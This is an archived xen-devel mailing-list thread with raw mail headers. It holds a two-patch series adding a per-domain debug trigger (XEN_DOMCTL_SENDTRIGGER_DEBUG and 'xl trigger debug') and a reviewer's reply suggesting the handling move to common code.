 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f7ed8472c000edb5@swg.vates.tech>)
 id 6a5de98f-b4ea-0a2a45070019-b9ff1c23951b-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 11:25:35 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f7ed8472c000edb5.005 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Mon, 20 Jul 2026 09:25:31 +0000
Received: from localhost.localdomain (155.223.66.37.rev.sfr.net
 [37.66.223.155]) (Authenticated sender: ngoc-tu.dinh@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id 5F1D982A70;
 Mon, 20 Jul 2026 11:25:30 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=pgtU90KgeUeGOFDF9ItC+4dH3+SZinr/HpH6NYK5Udg=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:feedback-id;
 b=hzj8BeDDGCHpE8017mWYNoYkTj5ZtAOOelrUpOdZdwJfAUZmrSZwwMGKsNnO/SWMTZvgRI3Yg
 71dUW8UHHgqQFfTaj+GDaua3n6KSmDxQFFIcRAA58j+MYlKLtEQmbs+SfSvdCwDWNmPtR8MlwDR
 m2zqBF1CgOljCafgmA1/m+Y7f/L8Bi4hWDD2OMU6zphoOhDCJegYU6Vv103mtMG21aMiyn5HVwu
 ghuuF5VJytF8qKKNkX579wn2I0gWd0Z9/3Y1GBPlF5dQs/OzmpgROKYW5qS1cmj+whaq5q3Zuf2
 eY9S/IklRUYKDGV4GI68ERepld8gdrxlgKBx4aBOqHmQ==
X-Zone-Loop: 696c65d079122ed0f817b46e3a63fa1c03994ca2597e
x-campaign-type: default
x-transaction-id: 25d91398-700e-47bc-99f6-4122b6fefe42
x-swg-uid: 01-466a6398-ec91-424f-8921-d84f0263a921
X-Mailer: Sweego
Message-ID:
 <1784539531.8631fc262581453bbf619ec5b2062170.19f7ed8472c000edb5@vates.tech>
x-swg-bid: 1784539531.8631fc262581453bbf619ec5b2062170.19f7ed8472c000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Tu Dinh <ngoc-tu.dinh@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Tu Dinh <ngoc-tu.dinh@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Julien Grall <julien@xen.org>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH 1/2] x86/domctl: Introduce XEN_DOMCTL_SENDTRIGGER_DEBUG
Date: Mon, 20 Jul 2026 11:25:26 +0200
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.cbe.c6ff07809f2d7a1d.19f7ed8453b.85c8b2aae00e8b05=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784539530556
X-purgate-ID: tlsNG-ef75cf/1784539535-A4CCFAE4-434926F8/0/0
X-purgate-type: clean
X-purgate-size: 1903

---=Part.cbe.c6ff07809f2d7a1d.19f7ed8453b.85c8b2aae00e8b05=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

VIRQ_DEBUG causes guests to print their diagnostic information=2E
Currently, the only way to send VIRQ_DEBUG to a domain is via the 'q'
debug key=2E This method indiscriminately sends VIRQ_DEBUG to all domains
and vcpus=2E

When debugging guests, it's useful to have a way to target a specific
domain with VIRQ_DEBUG=2E Add XEN_DOMCTL_SENDTRIGGER_DEBUG for this
purpose=2E

Signed-off-by: Tu Dinh <ngoc-tu=2Edinh@vates=2Etech>
---
 xen/arch/x86/domctl=2Ec       | 5 +++++
 xen/include/public/domctl=2Eh | 1 +
 2 files changed, 6 insertions(+)

diff --git a/xen/arch/x86/domctl=2Ec b/xen/arch/x86/domctl=2Ec
index 07f712a0a4=2E=2E3b74ca1751 100644
--- a/xen/arch/x86/domctl=2Ec
+++ b/xen/arch/x86/domctl=2Ec
@@ -605,6 +605,11 @@ long arch_do_domctl(
             }
             break;
=20
+        case XEN_DOMCTL_SENDTRIGGER_DEBUG:
+            ret =3D 0;
+            send_guest_vcpu_virq(v, VIRQ_DEBUG);
+            break;
+
         default:
             ret =3D -ENOSYS;
             break;
diff --git a/xen/include/public/domctl=2Eh b/xen/include/public/domctl=2Eh
index 510300bb67=2E=2E8362e4e8f5 100644
--- a/xen/include/public/domctl=2Eh
+++ b/xen/include/public/domctl=2Eh
@@ -541,6 +541,7 @@ struct xen_domctl_address_size {
 #define XEN_DOMCTL_SENDTRIGGER_INIT   2
 #define XEN_DOMCTL_SENDTRIGGER_POWER  3
 #define XEN_DOMCTL_SENDTRIGGER_SLEEP  4
+#define XEN_DOMCTL_SENDTRIGGER_DEBUG  5
 struct xen_domctl_sendtrigger {
     uint32_t  trigger;  /* IN */
     uint32_t  vcpu;     /* IN */
--=20
2=2E55=2E0



-- 
Ngoc Tu Dinh | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vates =
solutions

web: https://vates=2Etech
---=Part.cbe.c6ff07809f2d7a1d.19f7ed8453b.85c8b2aae00e8b05=---


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 09:27:59 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 09:27:59 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366387.1616273 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlkI1-0000NR-FP; Mon, 20 Jul 2026 09:27:57 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366387.1616273; Mon, 20 Jul 2026 09:27:57 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlkI1-0000NK-CW; Mon, 20 Jul 2026 09:27:57 +0000
Received: by outflank-mailman (input) for mailman id 1366387;
 Mon, 20 Jul 2026 09:27:56 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f7eda70d8000edb5@swg.vates.tech>)
 id 1wlkI0-0000NE-6J
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 09:27:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlkHz-00FHlF-JB
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 11:27:55 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f7eda70d8000edb5@swg.vates.tech>)
 id 6a5dea10-bab6-0a2a0a5309dd-0a2a45038ca2-40
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 11:27:55 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f7eda70d8000edb5@swg.vates.tech>)
 id 6a5dea1b-fae8-0a2a45030019-b9ff1c239f41-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 11:27:55 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f7eda70d8000edb5.001 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Mon, 20 Jul 2026 09:27:52 +0000
Received: from localhost.localdomain (155.223.66.37.rev.sfr.net
 [37.66.223.155]) (Authenticated sender: ngoc-tu.dinh@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id 3C07882B46;
 Mon, 20 Jul 2026 11:27:52 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=W9gBYwCnJT627y0/cSN8Zprmcy1D9tWiELOnZLw6LTI=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=mCQMv79f2hyho7bke7jhkRb1NqRxvvIIE3Fz395hcBElC95YauaGbGNLJasWUU5JZ5hE8d5ar
 kDIO4oTHh+coHTs6rDFJB8K02I1VzSMMV+LIxINyT1I6tJ5ZjqE1DgOK5S5YudubBnmuPdBZz2N
 NSS3ieZkOm9jeZlrt272GXNXCb7IGjXaLhuQXI+4G0cpZDpOpG7DINuRh6Rxb0iolwIX2FAuaKp
 EirsMbibyzSZ26BqdXblt29kQMTCNesI09tO2971KFpqRVKnH+rdGHsTBEEHQpn20NYUQ8zokMj
 hoaU6+FTn8BAbWG1PqpfO6OK5qsLsn1Z8LP2puXWgVGw==
X-Zone-Loop: 51349e90b186575762298e02b31a1fc37f431f958461
x-campaign-type: default
x-transaction-id: aa94129b-026d-4710-ae35-203e50290b0a
x-swg-uid: 01-2d7a7a83-8b37-4ad3-8523-9905239af3a0
X-Mailer: Sweego
Message-ID:
 <1784539672.8631fc262581453bbf619ec5b2062170.19f7eda70d8000edb5@vates.tech>
x-swg-bid: 1784539672.8631fc262581453bbf619ec5b2062170.19f7eda70d8000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Tu Dinh <ngoc-tu.dinh@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Tu Dinh <ngoc-tu.dinh@vates.tech>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Juergen Gross <jgross@suse.com>
Subject: [PATCH 2/2] {libxl,xl}: Add xl trigger debug
Date: Mon, 20 Jul 2026 11:27:48 +0200
In-Reply-To: <1784539531.8631fc262581453bbf619ec5b2062170.19f7ed8472c000edb5@vates.tech>
References: <1784539531.8631fc262581453bbf619ec5b2062170.19f7ed8472c000edb5@vates.tech>
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.d2d.aac6d2da37ade7ec.19f7eda6f06.8a4b1ea2cf2910ac=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784539672326
X-purgate-ID: tlsNG-33051d/1784539675-77CC34E9-2B1ED1EB/0/0
X-purgate-type: clean
X-purgate-size: 2310

---=Part.d2d.aac6d2da37ade7ec.19f7eda6f06.8a4b1ea2cf2910ac=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Use XEN_DOMCTL_SENDTRIGGER_DEBUG to allow printing diagnostics
information of a specific domain=2E

Signed-off-by: Tu Dinh <ngoc-tu=2Edinh@vates=2Etech>
---
 tools/libs/light/libxl_domain=2Ec  | 4 ++++
 tools/libs/light/libxl_types=2Eidl | 1 +
 tools/xl/xl_cmdtable=2Ec           | 2 +-
 3 files changed, 6 insertions(+), 1 deletion(-)

diff --git a/tools/libs/light/libxl_domain=2Ec b/tools/libs/light/libxl_do=
main=2Ec
index 37fcd92871=2E=2E2d8290dbfa 100644
--- a/tools/libs/light/libxl_domain=2Ec
+++ b/tools/libs/light/libxl_domain=2Ec
@@ -2190,6 +2190,10 @@ int libxl_send_trigger(libxl_ctx *ctx, uint32_t dom=
id,
     case LIBXL_TRIGGER_S3RESUME:
         domain_s3_resume(ao, egc, domid); /* must be last */
         return AO_INPROGRESS;
+    case LIBXL_TRIGGER_DEBUG:
+        rc =3D xc_domain_send_trigger(ctx->xch, domid,
+                                    XEN_DOMCTL_SENDTRIGGER_DEBUG, vcpuid)=
;
+        break;
     default:
         rc =3D -1;
         errno =3D EINVAL;
diff --git a/tools/libs/light/libxl_types=2Eidl b/tools/libs/light/libxl_t=
ypes=2Eidl
index a7893460f0=2E=2E4d53beab0e 100644
--- a/tools/libs/light/libxl_types=2Eidl
+++ b/tools/libs/light/libxl_types=2Eidl
@@ -179,6 +179,7 @@ libxl_trigger =3D Enumeration("trigger", [
     (4, "INIT"),
     (5, "RESET"),
     (6, "S3RESUME"),
+    (7, "DEBUG"),
     ])
=20
 libxl_tsc_mode =3D Enumeration("tsc_mode", [
diff --git a/tools/xl/xl_cmdtable=2Ec b/tools/xl/xl_cmdtable=2Ec
index 502244f683=2E=2Ee0594cd507 100644
--- a/tools/xl/xl_cmdtable=2Ec
+++ b/tools/xl/xl_cmdtable=2Ec
@@ -321,7 +321,7 @@ const struct cmd_spec cmd_table[] =3D {
     { "trigger",
       &main_trigger, 0, 1,
       "Send a trigger to a domain",
-      "<Domain> <nmi|reset|init|power|sleep|s3resume> [<VCPU>]",
+      "<Domain> <nmi|reset|init|power|sleep|s3resume|debug> [<VCPU>]",
     },
     { "sysrq",
       &main_sysrq, 0, 1,
--=20
2=2E55=2E0



-- 
Ngoc Tu Dinh | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vates =
solutions

web: https://vates=2Etech
---=Part.d2d.aac6d2da37ade7ec.19f7eda6f06.8a4b1ea2cf2910ac=---


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 09:53:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 09:53:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366406.1616290 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlkgQ-0005Nl-Di; Mon, 20 Jul 2026 09:53:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366406.1616290; Mon, 20 Jul 2026 09:53:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlkgQ-0005Ne-An; Mon, 20 Jul 2026 09:53:10 +0000
Received: by outflank-mailman (input) for mailman id 1366406;
 Mon, 20 Jul 2026 09:53:09 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wlkgP-0005NY-0F
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 09:53:09 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlkgO-00GMc3-DL
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 11:53:08 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5deff8-2eae-0a2a0a5409dd-0a2a450be680-34
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 11:53:08 +0200
Received: from [209.85.128.48] (helo=mail-wm1-f48.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5df002-b7e8-0a2a450b0019-d1558030b5e4-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 11:53:06 +0200
Received: by mail-wm1-f48.google.com with SMTP id
 5b1f17b1804b1-49557167508so14150065e9.1
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 02:53:06 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4954a2692a3sm234681515e9.0.2026.07.20.02.53.01
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 20 Jul 2026 02:53:01 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784541186; x=1785145986; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=nUjAV7VVSrXXJH0eYmRtHDd8vFVtaItUrZ5KU4Pdv3k=;
        b=V5wwcQgfMXLD/yWjk1G80artCDnsLuFJajvAlQgrjdKiGoJRqy125H9/Q1seo5j1ig
         IT5A8hxMYrx09uv62ksNn71ouCt5cGubey3ZxMEf1cbpcwElyIPnwgJ3lRUpxK4u5rLL
         KSSHJnSXQ6a/eBmB7/tKN/ihZCK/Ai1Q20Z2KlDGdjV7CdTKQAF39Z4CEbRzr8iwDx/E
         Yx9S256O/BL7zx+QfGMCD+IQVNGK5+1nog8hyw1ixCYipiopo6d9fj5VKSLWWuiL2aVt
         NBbR+YOfg2op16jtZD4TqtQ09j1H0/M/o6yZ8PP9NO22XzzYCthkQ82nfudr2SZPLnLY
         jfeQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784541186; x=1785145986;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=nUjAV7VVSrXXJH0eYmRtHDd8vFVtaItUrZ5KU4Pdv3k=;
        b=DdVblUuxYkmcy6usMporzJHJMA196d018e4dyKdOGMqvLYC9ZG6oIFO5VL64+bhYF4
         Ek4YP81QqzmjGO6/YSwuZrphaz92AsUZuSexzlk3eQJ+3CI78MWkHWDaPXRFCzurdDxm
         TglA7vxjDUAqEZ7qZ40vH2rvB9wH2uMBAmu/60Dis103wXNeumXrkit5xXSO4BIX+QZr
         fnFyoGMztKoHLtLIHo4NEPcjbYO0yXGkIuOoc84ZfT0stU9eLdHUaZ1aNlqy7VGEqoPR
         tlUqJMIwDg+ebA4CWSQ8I2gCMceLXWOV45TV7yBLqL1L/sWTxXUzr5ttjbNyAmUsu3Sw
         ujqg==
X-Forwarded-Encrypted: i=1; AHgh+RpD5/uldSwDDEFAHWy+yy7QIYgiFLpbvL8zXdhsjBzMBW5hoYp+uTdYnSlUw+vzVDVDtjH32X1zxZY=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxwejciSS6cEsXDQ6SbdlRwEa2qo/4lv3HTvzbCMeZtltDhjaKX
	Qq9voo8nSDrwM2Ik5sXEH8gnYQHTohHB6UHiI5cqBkgyibgTJjSOwAIQ7hVJxeasEw==
X-Gm-Gg: AfdE7cmgjpCMRgNlIWWTnIADZ6xkX4Qpw9t/kQnZGy773k0/vQxh1PHPde8qMsaMwnC
	E/MNl0y+CYuma2GTbsdu41L6l2xXSXl4qe1sTUejy8UsS0lufI6toK2U3SQj2tuk9xqWRVbiZxR
	510urq+/mmZe+Hu/eZkZlHjN7ArV38Q/xyi7jpDrWJEASuHnX06ln5de/dUiwpV4u2m+HbJK8fW
	grEUfJuv773HjO6QSa/BjPt6GaSdT89zYA/aGGtesKjgxjoy1MiQT9Df6VVLz0rMeCtaPezlFIf
	R/LgdnioduM9Ti0Ny0InoV8BhqHleH3nY3GjUs+YLl/ahw0jv471Z+yBFaVGZM4Nb32J1W4rCwJ
	dVPck0jtp6xuNleQvkGv5SAtvEgDrcEBRp4KFFjSwx7vfhJURrkLSgmeuIovLCzAD25+yVhlWAx
	wSzZxeoz/lK00riLwMdCY4y6tsu3yYjMJ2OrOKDvdmCuRDSbcCBlUJDxmmm2+aOUZZbA==
X-Received: by 2002:a05:600c:4685:b0:495:4aff:5fdf with SMTP id 5b1f17b1804b1-4954aff61f3mr161154705e9.28.1784541182193;
        Mon, 20 Jul 2026 02:53:02 -0700 (PDT)
Message-ID: <b839ad67-c6dd-4d72-9910-dcabe28afaa0@suse.com>
Date: Mon, 20 Jul 2026 11:53:02 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 1/2] x86/domctl: Introduce XEN_DOMCTL_SENDTRIGGER_DEBUG
To: Tu Dinh <ngoc-tu.dinh@vates.tech>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <1784539531.8631fc262581453bbf619ec5b2062170.19f7ed8472c000edb5@vates.tech>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSD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jcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <1784539531.8631fc262581453bbf619ec5b2062170.19f7ed8472c000edb5@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-42698a/1784541186-A9AC09EA-112E1A2B/0/0
X-purgate-type: clean
X-purgate-size: 1401

On 20.07.2026 11:25, Tu Dinh wrote:
> VIRQ_DEBUG causes guests to print their diagnostic information.
> Currently, the only way to send VIRQ_DEBUG to a domain is via the 'q'
> debug key. This method indiscriminately sends VIRQ_DEBUG to all domains
> and vcpus.
> 
> When debugging guests, it's useful to have a way to target a specific
> domain with VIRQ_DEBUG. Add XEN_DOMCTL_SENDTRIGGER_DEBUG for this
> purpose.
> 
> Signed-off-by: Tu Dinh <ngoc-tu.dinh@vates.tech>

Fine in principle, but ...

> --- a/xen/arch/x86/domctl.c
> +++ b/xen/arch/x86/domctl.c
> @@ -605,6 +605,11 @@ long arch_do_domctl(
>              }
>              break;
>  
> +        case XEN_DOMCTL_SENDTRIGGER_DEBUG:
> +            ret = 0;
> +            send_guest_vcpu_virq(v, VIRQ_DEBUG);
> +            break;

... unlike the other XEN_DOMCTL_SENDTRIGGER_* this one isn't really x86-specific.
Hence, at the risk of being called guilty in causing scope creep, I think this
wants some re-structuring. The handling of XEN_DOMCTL_sendtrigger wants to move
to common code (at that occasion also making it properly use domain_vcpu()), with
a new arch-specific handler to deal with non-generic XEN_DOMCTL_SENDTRIGGER_*.

And then, if already moving this, it will also want considering where to move it
in do_domctl(): It doesn't look as if holding the domctl lock would be required
here.

Jan


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 09:57:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 09:57:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366414.1616299 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlkkt-00061P-UI; Mon, 20 Jul 2026 09:57:47 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366414.1616299; Mon, 20 Jul 2026 09:57:47 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlkkt-00061I-RR; Mon, 20 Jul 2026 09:57:47 +0000
Received: by outflank-mailman (input) for mailman id 1366414;
 Mon, 20 Jul 2026 09:57:47 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wlkkt-00061C-2V
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 09:57:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlkks-006E5l-3h
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 11:57:46 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a5df10e-e002-0a2a0a5209dd-0a2a4508ae0a-32
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 11:57:46 +0200
Received: from [74.125.224.42] (helo=mail-yx1-f42.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a5df118-f659-0a2a45080019-4a7de02af02b-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 11:57:45 +0200
Received: by mail-yx1-f42.google.com with SMTP id
 956f58d0204a3-664c6304683so5498768d50.2
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 02:57:45 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
